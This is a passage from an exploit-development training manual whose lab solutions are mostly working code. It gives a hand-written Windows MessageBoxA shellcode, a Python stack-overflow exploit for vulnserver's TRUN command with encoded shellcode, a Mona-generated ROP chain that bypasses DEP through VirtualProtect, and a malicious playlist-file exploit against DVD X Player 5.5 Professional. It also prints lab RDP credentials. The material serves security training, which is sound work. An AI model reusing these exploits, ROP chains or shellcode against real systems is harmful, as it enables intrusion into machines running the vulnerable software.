x96\x33"
"\x24\x7e\x6d\x2b\x4d\x7b\x29\xeb\xbd\xf1\x22\x9e\xc1\
xa6\x43"
"\x8b\xa1\x29\xd0\x57\x08\xcc\x50\xfd\x54")
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ",
len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Windows Shellcoding LAB 7

Scenario
You have been tasked by your red team manager, to
refresh your Windows shellcoding skills. Specifically,
he provided you with a machine (172.16.172.51) that
contains everything needed to develop Windows
shellcode. Your task is to write a shellcode that will
display the following window upon execution and then
exit gracefully without causing memory corruption. You
are allowed to hardcode addresses.

Goals
● Create a shellcode that will create a window that
looks like the above

● Make it exit without any error

What you will learn


● Windows shellcode writing

● Dealing with null bytes

● Using MSDN to create a corresponding assembly code

Recommended tools
● arwin
● dev-c++

● immunity debugger

● nasm

● text editor

● bin2sc utility

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.51

● Connection Type: RDP

Username: elsadmin
Password: elsadmin1

Tasks
Task 1: Investigate the MessageBoxA Function
Using MSDN, figure out how to call the MessageBoxA
function. You might need to update the
shellcode-tester.c application so that it includes the
proper DLL library. The LoadLibrary function might be
helpful.
Task 2: Develop your shellcode
Develop shellcode that will produce the window
presented above. Be reminded, that you can hardcode
addresses.

Hint: Arwin can help you find those addresses.

Task 3: Run the shellcode


Use the shellcode-tester.c to compile your shellcode
into an application and check if it works as expected.

SOLUTIONS
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Investigate the MessageBoxA Function


First, let's navigate to msdn
(https://docs.microsoft.com/en-us/windows/win32/api/wi
nuser/nf-winuser-messageboxa) and check the function
specification. It takes 4 arguments. The first
argument as well as the last one can be zeroed. We are
just interested in the two in the middle -- Text and
Caption.

int MessageBoxA(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
MessageBoxA is exported by user32.dll which is not
loaded into the shellcode tester application by
default. You need to modify its source code and add a
call to LoadLibrary("user32.dll"), as follows.

Without that line you will not be able to call


MessageBoxA.

Task 2: Develop your shellcode


Using arwin we can find the addresses of MessageBoxA
and ExitProcess, as follows.

Then we incorporate these addresses into a basic


shellcode.

BITS 32

mov eax, 0x77d66476; MessageBoxA address


xor ecx, ecx; ecx will hold 0 for future use

mov ebx, 0x02022376


sub ebx, 0x02020202; null-byte mitigation trick - we
add an arbitrary value to the original register's
content and then subtract it
push ebx ;\0\0!t
push 0x756f2068 ; uo h
push 0x63746157 ; ctaW
mov ebx, esp; ebx holds the addr of Caption

mov edx, 0x03032468


sub edx, 0x03030303; again the null byte trick. We
need double null since the stack has to be 4 byte
aligned.
push edx ;\0\0!e
push 0x646f636c ;docl
push 0x6c656873 ;lehs
push 0x20657469 ; eti
push 0x7277206e ;rw n
push 0x61632049 ;ac I
mov edx, esp ;edx now holds the Content

push ecx; uType


push ebx; Caption
push edx; Content
push ecx
call eax; Call MessageBoxA

push ecx; push 0 to the stack


mov eax, 0x77e798fd; make eax contain the address of
ExitProcess()
call eax; call ExitProcess while the 0 parameter is on
the stack

Task 3: Run the shellcode


Let's use the shellcode-tester.c to compile our
shellcode into an application and check if it works as
expected. We can do that as follows.

nasm msgbox.asm -o msgbox.bin


python bin2sc msgbox.bin
"\xb8\x76\x64\xd6\x77\x31\xc9\xbb\x76\x23\x02\x02\x81\
xeb\x02"
"\x02\x02\x02\x53\x68\x68\x20\x6f\x75\x68\x57\x61\x74\
x63\x89"
"\xe3\xba\x68\x24\x03\x03\x81\xea\x03\x03\x03\x03\x52\
x68\x6c"
"\x63\x6f\x64\x68\x73\x68\x65\x6c\x68\x69\x74\x65\x20\
x68\x6e"
"\x20\x77\x72\x68\x49\x20\x63\x61\x89\xe2\x51\x53\x52\
x51\xff"
"\xd0\x51\xb8\xfd\x98\xe7\x77\xff\xd0"

Let's paste the above it into the shellcode tester.

Finally let's compile and run.


It looks like our basic shellcode was enough to
achieve the task!

Windows ROP (Scenario 1) LAB 18

Scenario
Your red team manager keeps challenging you, to
further develop your exploit development skills. He
has setup a Windows 7 machine with DEP enabled.
Vulnserver is in this machine's Desktop. Your
challenge is to exploit vulnserver's TRUN command,
bypassing DEP.

You can connect to the lab machine via remote desktop.


The target IP is 172.16.172.154

The remote desktop credentials are the following.

● Username: eLS

● Password: eLSPwdAdmin1602
In this lab's context, we chose to run vulnserver on
port 9999 (vulnserver.exe 9999)

Note: In case of choppy RDP performance, disconnect


from the VPN, edit the latest .ovpn file and switch
the protocol from udp to tcp. Then, re-connect to the
lab VPN using the edited .ovpn file.

Goals
● Discover vulnerabilities in the executable's TRUN
command

● Utilize ROP

What you will learn


● Utilizing ROP during buffer overflows

● Bypassing DEP

Recommended tools
● Immunity Debugger

● Mona.py

● Kali linux
Network Configuration &
Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.154

● Connection Type: Remote Desktop

Username: eLS
Password: eLSPwdAdmin1602

Tasks
Task 1: Launch the vulnserver exploit you
created on Lab 17: Fuzzing Windows Software
Launch the exploit you created on Lab 17: Fuzzing
Windows Software against vulnserver (TRUN command)
with Immunity attached. Does it work? Why is that?

Task 2: Identify a strategy to bypass DEP


Since the stack is not executable, we will have to
find a way around this limitation.

In traditional stack overflow exploitation fashion, we


identify a JMP ESP and overwrite the EIP with its
address in order to execute the instructions we
wanted. DEP renders this approach ineffective!

That being said, we can still use Return Oriented


Programming (ROP) (chain various ROP gadgets) to turn
off DEP leveraging functions such as VirtuAlloc(),
HeapCreate(), SetProcessDEPPolicy(),
NtSetInformationProcess(), VirtualProtect(), or
WriteProtectMemory().

Mona can greatly assist the collection and the


chaining of ROP gadgets.

Task 3: Create a POC exploit and launch it


It is time to combine all the above into a working
exploit. Launch the final exploit from your attacker's
machine to see if it works.

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Launch the vulnserver exploit you


created on Lab 17: Fuzzing Windows Software
By the time we launch the exploit we created in Lab
17: Fuzzing Windows Software, we notice that no
calc.exe is executed. Instead, we are greeted by the
below access violation.
The original exploit is ineffective, due to the stack
not being executable (DEP is enabled).

Be reminded that the original exploit was the


following.

#!/usr/bin/python
import socket
server = '172.16.172.154'
sport = 9999
prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = >
("\xda\xc8\xbf\x84\xb4\x10\xb8\xd9\x74\x24\xf4\x5d\x33
\xc9\xb1"
"\x31\x31\x7d\x18\x03\x7d\x18\x83\xc5\x80\x56\xe5\x44\
x60\x14"
"\x06\xb5\x70\x79\x8e\x50\x41\xb9\xf4\x11\xf1\x09\x7e\
x77\xfd"
"\xe2\xd2\x6c\x76\x86\xfa\x83\x3f\x2d\xdd\xaa\xc0\x1e\
x1d\xac"
"\x42\x5d\x72\x0e\x7b\xae\x87\x4f\xbc\xd3\x6a\x1d\x15\
x9f\xd9"
"\xb2\x12\xd5\xe1\x39\x68\xfb\x61\xdd\x38\xfa\x40\x70\
x33\xa5"
"\x42\x72\x90\xdd\xca\x6c\xf5\xd8\x85\x07\xcd\x97\x17\
xce\x1c"
"\x57\xbb\x2f\x91\xaa\xc5\x68\x15\x55\xb0\x80\x66\xe8\
xc3\x56"
"\x15\x36\x41\x4d\xbd\xbd\xf1\xa9\x3c\x11\x67\x39\x32\
xde\xe3"
"\x65\x56\xe1\x20\x1e\x62\x6a\xc7\xf1\xe3\x28\xec\xd5\
xa8\xeb"
"\x8d\x4c\x14\x5d\xb1\x8f\xf7\x02\x17\xdb\x15\x56\x2a\
x86\x73"
"\xa9\xb8\xbc\x31\xa9\xc2\xbe\x65\xc2\xf3\x35\xea\x95\
x0b\x9c"
"\x4f\x69\x46\xbd\xf9\xe2\x0f\x57\xb8\x6e\xb0\x8d\xfe\
x96\x33"
"\x24\x7e\x6d\x2b\x4d\x7b\x29\xeb\xbd\xf1\x22\x9e\xc1\
xa6\x43"
"\x8b\xa1\x29\xd0\x57\x08\xcc\x50\xfd\x54")
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ",
len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Task 2: Identify a strategy to bypass DEP


As mentioned in the task's description, ROP can help
us circumvent (turn off) DEP and execute our
shellcode.

Mona can help us gather and chain ROP gadgets, as


follows.

!mona rop -m *.dll -cp nonull

After executing the above command Mona will go through


all DLLs, in search of useful gadgets and then, it
will construct rop chains. This process may take up to
6-7 minutes, be patient.

Immunity's log (Alt+L) will inform us about the


outcome of Mona's hunt.

The results will be available in the


C:\Users\eLS\AppData\Local\VirtualStore\Program Files
(x86)\Immunity Inc\Immunity Debugger directory. We are
mostly interested in the rop_chains.txt file.
Task 3: Create a POC exploit and launch it
Let's incorporate a Mona-constructed rop chain into
our original exploit. First, browse rop_chains.txt and
scroll down to the Python implementation.
Copy this Python-based rop chain and paste it right
after sport = 9999 inside the original exploit. You
can navigate to
C:\Users\eLS\AppData\Local\VirtualStore\Program Files
(x86)\Immunity Inc\Immunity Debugger and use Python's
SimpleHTTPServer to transfer rop_chains.txt to your
attacking machine.

Then, go through each line of the Python-based rop


chain and remove two spaces, since indentation is
critical in Python.

#!/usr/bin/python
import socket
server = '172.16.172.154'
sport = 9999
def create_rop_chain():
# rop chain generated with mona.py -
www.corelan.be
rop_gadgets = [
0x754dfe56, # POP ECX # RETN [msvcrt.dll] **
REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT
essfunc.dll]
0x750ffd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD
DH,DH # RETN [MSCTF.dll] ** REBASED ** ASLR
0x754cf45a, # POP EBP # RETN [msvcrt.dll] **
REBASED ** ASLR
0x625011bb, # & jmp esp [essfunc.dll]
0x625011f0, # POP EAX # RETN [essfunc.dll]
0xfffffdff, # Value to negate, will become
0x00000201
0x756737ba, # NEG EAX # RETN [RPCRT4.dll] **
REBASED ** ASLR
0x750ff9f1, # XCHG EAX,EBX # RETN [MSCTF.dll] **
REBASED ** ASLR
0x754baeba, # POP EAX # RETN [msvcrt.dll] **
REBASED ** ASLR
0xffffffc0, # Value to negate, will become
0x00000040
0x756dad46, # NEG EAX # RETN [RPCRT4.dll] **
REBASED ** ASLR
0x756cf8bc, # XCHG EAX,EDX #RETN [RPCRT4.dll] **
REBASED ** ASLR
0x754c40d0, # POP ECX # RETN [msvcrt.dll] **
REBASED ** ASLR
0x75700cc9, # &Writable location [RPCRT4.dll] **
REBASED ** ASLR
0x7738c47a, # POP EDI # RETN [ntdll.dll] **
REBASED ** ASLR
0x756a0b64, # RETN (ROP NOP) [RPCRT4.dll] **
REBASED ** ASLR
0x75513866, # POP EAX # RETN [msvcrt.dll] **
REBASED ** ASLR
0x90909090, # nop
0x773220e0, # PUSHAD # RETN [ntdll.dll] ** REBASED
** ASLR
]
return ''.join(struct.pack('<I', _) for _ in
rop_gadgets)
rop_chain = create_rop_chain()
prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit =
("\xda\xc8\xbf\x84\xb4\x10\xb8\xd9\x74\x24\xf4\x5d\x33
\xc9\xb1"

"\x31\x31\x7d\x18\x03\x7d\x18\x83\xc5\x80\x56\xe5\x44\
x60\x14"

"\x06\xb5\x70\x79\x8e\x50\x41\xb9\xf4\x11\xf1\x09\x7e\
x77\xfd"

"\xe2\xd2\x6c\x76\x86\xfa\x83\x3f\x2d\xdd\xaa\xc0\x1e\
x1d\xac"

"\x42\x5d\x72\x0e\x7b\xae\x87\x4f\xbc\xd3\x6a\x1d\x15\
x9f\xd9"

"\xb2\x12\xd5\xe1\x39\x68\xfb\x61\xdd\x38\xfa\x40\x70\
x33\xa5"

"\x42\x72\x90\xdd\xca\x6c\xf5\xd8\x85\x07\xcd\x97\x17\
xce\x1c"

"\x57\xbb\x2f\x91\xaa\xc5\x68\x15\x55\xb0\x80\x66\xe8\
xc3\x56"
"\x15\x36\x41\x4d\xbd\xbd\xf1\xa9\x3c\x11\x67\x39\x32\
xde\xe3"

"\x65\x56\xe1\x20\x1e\x62\x6a\xc7\xf1\xe3\x28\xec\xd5\
xa8\xeb"

"\x8d\x4c\x14\x5d\xb1\x8f\xf7\x02\x17\xdb\x15\x56\x2a\
x86\x73"

"\xa9\xb8\xbc\x31\xa9\xc2\xbe\x65\xc2\xf3\x35\xea\x95\
x0b\x9c"

"\x4f\x69\x46\xbd\xf9\xe2\x0f\x57\xb8\x6e\xb0\x8d\xfe\
x96\x33"

"\x24\x7e\x6d\x2b\x4d\x7b\x29\xeb\xbd\xf1\x22\x9e\xc1\
xa6\x43"
"\x8b\xa1\x29\xd0\x57\x08\xcc\x50\xfd\x54")
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ",
len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

The exploit requires further modifications:


1.We need to import struct and sys

2.The rop chain will replace the eip

Find below the final version of the exploit.

#!/usr/bin/python
import socket, struct, sys
server = '172.16.172.154'
sport = 9999
def create_rop_chain():
rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x754dfe56, # POP ECX # RETN [msvcrt.dll] **
REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT
essfunc.dll]
0x750ffd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD
DH,DH # RETN [MSCTF.dll] ** REBASED ** ASLR
0x754cf45a, # POP EBP # RETN [msvcrt.dll] **
REBASED ** ASLR
0x625011bb, # & jmp esp [essfunc.dll]
0x625011f0, # POP EAX # RETN [essfunc.dll]
0xfffffdff, # Value to negate, will become
0x00000201
0x756737ba, # NEG EAX # RETN [RPCRT4.dll] **
REBASED ** ASLR
0x750ff9f1, # XCHG EAX,EBX # RETN [MSCTF.dll] **
REBASED ** ASLR
0x754baeba, # POP EAX # RETN [msvcrt.dll] **
REBASED ** ASLR
0xffffffc0, # Value to negate, will become
0x00000040
0x756dad46, # NEG EAX # RETN [RPCRT4.dll] **
REBASED ** ASLR
0x756cf8bc, # XCHG EAX,EDX # RETN [RPCRT4.dll]
** REBASED ** ASLR
0x754c40d0, # POP ECX # RETN [msvcrt.dll] **
REBASED ** ASLR
0x75700cc9, # &Writable location [RPCRT4.dll] **
REBASED ** ASLR
0x7738c47a, # POP EDI # RETN [ntdll.dll] **
REBASED ** ASLR
0x756a0b64, # RETN (ROP NOP) [RPCRT4.dll] **
REBASED ** ASLR
0x75513866, # POP EAX # RETN [msvcrt.dll] **
REBASED ** ASLR
0x90909090, # nop
0x773220e0, # PUSHAD # RETN [ntdll.dll] **
REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in
rop_gadgets)
rop_chain = create_rop_chain()
prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit =
("\xda\xc8\xbf\x84\xb4\x10\xb8\xd9\x74\x24\xf4\x5d\x33
\xc9\xb1"

"\x31\x31\x7d\x18\x03\x7d\x18\x83\xc5\x80\x56\xe5\x44\
x60\x14"

"\x06\xb5\x70\x79\x8e\x50\x41\xb9\xf4\x11\xf1\x09\x7e\
x77\xfd"

"\xe2\xd2\x6c\x76\x86\xfa\x83\x3f\x2d\xdd\xaa\xc0\x1e\
x1d\xac"
"\x42\x5d\x72\x0e\x7b\xae\x87\x4f\xbc\xd3\x6a\x1d\x15\
x9f\xd9"

"\xb2\x12\xd5\xe1\x39\x68\xfb\x61\xdd\x38\xfa\x40\x70\
x33\xa5"

"\x42\x72\x90\xdd\xca\x6c\xf5\xd8\x85\x07\xcd\x97\x17\
xce\x1c"

"\x57\xbb\x2f\x91\xaa\xc5\x68\x15\x55\xb0\x80\x66\xe8\
xc3\x56"

"\x15\x36\x41\x4d\xbd\xbd\xf1\xa9\x3c\x11\x67\x39\x32\
xde\xe3"

"\x65\x56\xe1\x20\x1e\x62\x6a\xc7\xf1\xe3\x28\xec\xd5\
xa8\xeb"

"\x8d\x4c\x14\x5d\xb1\x8f\xf7\x02\x17\xdb\x15\x56\x2a\
x86\x73"

"\xa9\xb8\xbc\x31\xa9\xc2\xbe\x65\xc2\xf3\x35\xea\x95\
x0b\x9c"

"\x4f\x69\x46\xbd\xf9\xe2\x0f\x57\xb8\x6e\xb0\x8d\xfe\
x96\x33"

"\x24\x7e\x6d\x2b\x4d\x7b\x29\xeb\xbd\xf1\x22\x9e\xc1\
xa6\x43"
"\x8b\xa1\x29\xd0\x57\x08\xcc\x50\xfd\x54")
padding = 'F' * (3000 - 2006 - len(rop_chain) - 16 -
len(exploit))
attack = prefix + rop_chain + nopsled + exploit +
padding
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ",
len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Follow the process documented in this lab manual from


start to finish, incorporate the rop chain mona created
in your case and the resulting exploit will execute
calc.exe, bypassing DEP.
Windows ROP (Scenario 2) LAB 19

Scenario
Your red team manager keeps challenging you, to
further develop your exploit development skills. He
has setup a Windows 7 machine with DEP enabled. DVD X
Player 5.5 Professional is in this machine's Desktop.
Your challenge is to exploit DVD X Player 5.5
Professional, bypassing DEP.
You can connect to the lab machine via remote desktop.
The target IP is 172.16.172.155

The remote desktop credentials are the following.

● Username: eLS

● Password: eLSPwdAdmin1602

Note: In case of choppy RDP performance, disconnect


from the VPN, edit the latest .ovpn file and switch
the protocol from udp to tcp. Then, re-connect to the
lab VPN using the edited .ovpn file.

Goals
● Discover vulnerabilities in DVD X Player 5.5
Professional

● Utilize ROP

What you will learn


● Utilizing ROP during buffer overflows

● Bypassing DEP

Recommended tools
● Immunity Debugger
● Mona.py

● Kali linux

Network Configuration &


Credentials
● Penetration tester's Subnet: 172.16.172.0/24

● Vulnerable machine: 172.16.172.155

● Connection Type: Remote Desktop

Username: eLS
Password: eLSPwdAdmin1602

Tasks
Task 1: Install DVD X Player 5.5 Professional
and identify the exploitable conditions
The DVD X Player 5.5 Professional's installer can be
found on the Desktop. Install it and then try to
identify any vulnerabilities.

Hint: Try constructing an overly large playlist (.plf)


file.

Task 2: Identify a strategy to bypass DEP


Since the stack is not executable, we will have to
find a way around this limitation.

In traditional stack overflow exploitation fashion, we


identify a JMP ESP and overwrite the EIP with its
address in order to execute the instructions we
wanted. DEP renders this approach ineffective!

That being said, we can still use Return Oriented


Programming (ROP) (chain various ROP gadgets) to turn
off DEP leveraging functions such as VirtuAlloc(),
HeapCreate(), SetProcessDEPPolicy(),
NtSetInformationProcess(), VirtualProtect(), or
WriteProtectMemory().

Mona can greatly assist the collection and the


chaining of ROP gadgets.

Task 3: Create a POC exploit and launch it


It is time to combine all the above into a working
exploit. Launch the final exploit from your attacker's
machine to see if it works.

Solutions
Below, you can find solutions for each task. Remember
though that you can follow your own strategy (which
may be different from the one explained in the
following lab).

Task 1: Install DVD X Player 5.5 Professional


and identify the exploitable conditions
After identifying all possible inputs, playlist (.plf)
files seem to be our best bet. Let's try to construct
an overly large .plf file, as follows.

#!/usr/bin/env python

buffer = "\x41" * 1000

try:
f=open("LoadMe.plf","w")
print "[+] Creating %s bytes of payload.."
%len(buffer)
f.write(buffer)
f.close()
print "[+] File created. Load and Conquer"
except:
print "File cannot be created"

Let's name the above payload_generator.py. Creating


such a Python script in the remote machine, navigating
to its directory and executing it, will result in a
playlist file (LoadMe.plf) being created.

First launch DVD X Player 5.5 Professional, then go to


Open -> Open Playlist and finally, select LoadMe.plf
but don't load it yet.

Launch Immunity and attach to the DVD X Player 5.5


Professional process.

Press F9 to start the program and keep pressing F9.


You will come across the following.
We managed to overwrite the EIP.

Let's close Immunity and reopen it again.

Let's also create a pattern with Mona, as follows.

!mona pc 2000

A file named pattern.txt will be created inside the


C:\Users\eLS\AppData\Local\VirtualStore\Program Files
(x86)\Immunity Inc\Immunity Debugger directory.

Take the hex representation of the pattern and


incorporate it into payload_generator.py.

Delete the old LoadMe.plf file.


Executing python payload_generator.py again will
result in a new LoadMe.plf file.

If we follow the same debugging process, we will come


across the following.

Now if we execute the below, we will identify the


offset (260) inside the Log data window.

!mona po 0x37694136

The current exploit state is the following.

#!/usr/bin/env python
buffer = "\x41" * 260 # eip offset
buffer += "\x42" * 4
buffer += "\x43" * (1500-260-4)

try:
f=open("LoadMe.plf","w")
print "[+] Creating %s bytes of payload.."
%len(buffer)
f.write(buffer)
f.close()
print "[+] File created. Load and Conquer"
except:
print "File cannot be created"
Any bad characters should also be identified. For your
convenience, the bar chars are "\x00\x0a\x0d\x1a\x20"

Task 2: Identify a strategy to bypass DEP


As mentioned in the task's description, ROP can help
us circumvent (turn off) DEP and execute our
shellcode.

Mona can help us gather and chain ROP gadgets, as


follows (all DLLs below come with DVD X Player 5.5
Professional).

!mona rop -m
VersionInfo.dll,NetReg.dll,SkinScrollBar.dll,MediaPlay
erCtrl.dll,Configuration.dll,EPG.dll -cpb
'\x00\x0a\x0d\x1a\x20'

After executing the above command Mona will go through


all specified DLLs, in search of useful gadgets and
then, it will construct rop chains. This process may
take up to 6-7 minutes, be patient.
Immunity's log (Alt+L) will inform us about the
outcome of Mona's hunt.

The results will be available in the


C:\Users\eLS\AppData\Local\VirtualStore\Program Files
(x86)\Immunity Inc\Immunity Debugger directory. We are
mostly interested in the rop_chains.txt file.

Task 3: Create a POC exploit and launch it


Let's create a POC exploit. First, browse
rop_chains.txt and scroll down to the Python
implementation [VirtualProtect() chain].
We will leverage the chain Mona created for us. A
working POC exploit, can be found below.

#!/usr/bin/env python

import struct
import time

# bad characters "\x00\x0a\x0d\x1a\x20"

shellcode = ""
shellcode +=
"\xba\xad\xe1\xd9\x21\xda\xd8\xd9\x74\x24\xf4\x5e\x33"
shellcode +=
"\xc9\xb1\x31\x83\xee\xfc\x31\x56\x0f\x03\x56\xa2\x03"
shellcode +=
"\x2c\xdd\x54\x41\xcf\x1e\xa4\x26\x59\xfb\x95\x66\x3d"
shellcode +=
"\x8f\x85\x56\x35\xdd\x29\x1c\x1b\xf6\xba\x50\xb4\xf9"
shellcode +=
"\x0b\xde\xe2\x34\x8c\x73\xd6\x57\x0e\x8e\x0b\xb8\x2f"
shellcode +=
"\x41\x5e\xb9\x68\xbc\x93\xeb\x21\xca\x06\x1c\x46\x86"
shellcode +=
"\x9a\x97\x14\x06\x9b\x44\xec\x29\x8a\xda\x67\x70\x0c"
shellcode +=
"\xdc\xa4\x08\x05\xc6\xa9\x35\xdf\x7d\x19\xc1\xde\x57"
shellcode +=
"\x50\x2a\x4c\x96\x5d\xd9\x8c\xde\x59\x02\xfb\x16\x9a"
shellcode +=
"\xbf\xfc\xec\xe1\x1b\x88\xf6\x41\xef\x2a\xd3\x70\x3c"
shellcode +=
"\xac\x90\x7e\x89\xba\xff\x62\x0c\x6e\x74\x9e\x85\x91"
shellcode +=
"\x5b\x17\xdd\xb5\x7f\x7c\x85\xd4\x26\xd8\x68\xe8\x39"
shellcode +=
"\x83\xd5\x4c\x31\x29\x01\xfd\x18\x27\xd4\x73\x27\x05"
shellcode +=
"\xd6\x8b\x28\x39\xbf\xba\xa3\xd6\xb8\x42\x66\x93\x37"
shellcode +=
"\x09\x2b\xb5\xdf\xd4\xb9\x84\xbd\xe6\x17\xca\xbb\x64"
shellcode +=
"\x92\xb2\x3f\x74\xd7\xb7\x04\x32\x0b\xc5\x15\xd7\x2b"
shellcode +=
"\x7a\x15\xf2\x4f\x1d\x85\x9e\xa1\xb8\x2d\x04\xbe"

buffer = "\x41" * 260 # eip offset

#----------------------------------------#
# ROP Chain setup for VirtualProtect() #
#----------------------------------------#
# EAX = NOP (0x90909090) #
# ECX = lpOldProtect (ptr to W address) #
# EDX = NewProtect (0x40) #
# EBX = dwSize #
# ESP = lPAddress (automatic) #
# EBP = ReturnTo (ptr to jmp esp) #
# ESI = ptr to VirtualProtect() #
# EDI = ROP NOP (RETN) #
#----------------------------------------#

buffer += struct.pack('<L', 0x6033cda2) # POP EAX #


RETN [Configuration.dll]
buffer += "MMMM" # compensate (filler)
buffer += "MMMM" # compensate (filler)
buffer += "WWWW" # compensate (filler)
buffer += "WWWW" # compensate (filler)
buffer += struct.pack('<L', 0x60366238) # ptr to
&VirtualProtect()
buffer += struct.pack('<L', 0x6410b24d) # MOV
EAX,DWORD PTR DS:[EAX] # RETN
buffer += struct.pack('<L', 0x616385d8) # XCHG EAX,ESI
# RETN 0x00
buffer += struct.pack('<L', 0x61626545) # POP EBP #
RETN
buffer += struct.pack('<L', 0x6035453b) # # & push esp
# ret 0x10
buffer += struct.pack('<L', 0x64022e0f) # POP EAX #
RETN
buffer += struct.pack('<L', 0xfffffaff) # value to
negate, will become 0x00000501
buffer += struct.pack('<L', 0x64037950) # NEG EAX #
RET
buffer += struct.pack('<L', 0x61640124) # XCHG EAX,EBX
# RETN
buffer += struct.pack('<L', 0x64022e0f) # POP EAX #
RETN
buffer += struct.pack('<L', 0xffffffc0) # value to
negate, will become 0x00000040
buffer += struct.pack('<L', 0x64037950) # NEG EAX #
RETN
buffer += struct.pack('<L', 0x61608ba2) # XCHG EAX,EDX
# RET
buffer += struct.pack('<L', 0x603636a4) # POP ECX #
RETN
buffer += struct.pack('<L', 0x6411cdfc) # &Writable
location
buffer += struct.pack('<L', 0x6162c3b0) # POP EDI #
RET
buffer += struct.pack('<L', 0x64041804) # RETN (ROP
NOP)
buffer += struct.pack('<L', 0x640390d3) # POP EAX #
RETN
buffer += struct.pack('<L', 0x90909090) # NOP
buffer += struct.pack('<L', 0x60358d9f) # PUSHAD #
RETN

buffer += "\x90" * 20
buffer += shellcode
buffer += "\x90" * 20
buffer += "\x43" * (1500-260-(4*25)-40-len(shellcode))

try:
f=open("LoadMe.plf","w")
print "[+] Creating %s bytes of payload.."
%len(buffer)
time.sleep(1)
f.write(buffer)
f.close()
print "[+] File created. Load and Conquer"
except:
print "File cannot be created"

Replace all address with the respective addresses


included inside Mona's rop chain.

The fillers you see near the beginning of the exploit


are due to a 16 byte-wide offset between the ESP and
the EIP. We need these fillers to pivot from the EIP
back to the stack.

If you load the latest LoadMe.plf file, you will see


calc.exe being spawned, bypassing DEP!

You might also like